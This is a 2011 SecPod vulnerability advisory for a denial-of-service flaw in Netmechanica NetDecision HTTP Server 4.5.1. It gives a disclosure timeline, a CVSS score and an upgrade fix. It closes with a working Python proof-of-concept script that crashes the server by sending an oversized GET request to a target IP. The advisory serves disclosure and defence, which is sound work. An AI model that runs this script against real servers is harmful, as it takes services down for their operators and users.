Netmechanica NetDecision HTTP Server Denial of Service Vulnerability

                                                ##############################################################################
#
# Title    : Netmechanica NetDecision HTTP Server Denial Of Service  
#            Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=484
#            http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
#	     http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
# Software : Netmechanica NetDecision HTTP Server version 4.5.1
# Date     : 05/12/2011
#
###############################################################################

SecPod ID: 1040     				05/12/2011 Issue Discovered
						21/02/2012 Vendor Notified
						22/02/2012 Vendor Acknowledge
						24/02/2012 Issue Resolved


Class: Denial Of Service			Severity: Medium


Overview:
---------
Netmechanica NetDecision HTTP Server version 4.5.1 is prone to a denial of 
service vulnerability.


Technical Description:
----------------------
The vulnerability is caused due to improper validation of long malicious HTTP
request to web server, which allows remote attackers to crash the service.


Impact:
--------
Successful exploitation could allow an attacker to cause denial of service 
condition.


Affected Software:
------------------
Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version
4.5.1


Tested on:
-----------
Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version
4.5.1 on Windows XP SP3 & Win XP2. Older versions might be affected.
Older versions might be affected.


References:
-----------
http://secpod.org/blog/?p=484
http://www.netmechanica.com/downloads
http://www.netmechanica.com/news/?news_id=26


Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py


Vendor URL:
----------------
http://www.netmechanica.com
http://www.netmechanica.com/news/?news_id=26


Solution:
----------
Upgrade to NetDecision 4.6.1


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = NONE
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = PARTIAL
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
        Risk factor            = Medium


Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.


#!/usr/bin/python
##############################################################################
#
# Title    : Netmechanica NetDecision HTTP Server Denial Of Service  
#            Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=484
#            http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
#	     http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
# Software : Netmechanica NetDecision HTTP Server version 4.5.1
# Date     : 05/12/2011
#
###############################################################################

import socket,sys,time


if len(sys.argv) < 2:
        print "\t[-] Usage: python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py target_ip"
        print "\t[-] Example : python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py 127.0.0.1"
        print "\t[-] Exiting..."
        sys.exit(0)

port   = 80
target = sys.argv[1]

try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((target,port))
except:
    print "socket() failed: Server is not running"
    sys.exit(1)

exploit = "GET "+ "A"*1276 + "\r\n" + "\r\n"

print "HTTP GET request with long filename triggers the vulnerability"
data = exploit
sock.sendto(data, (target, port))
time.sleep(5)
print "[+] Please verify the server daemon port, it must be down...."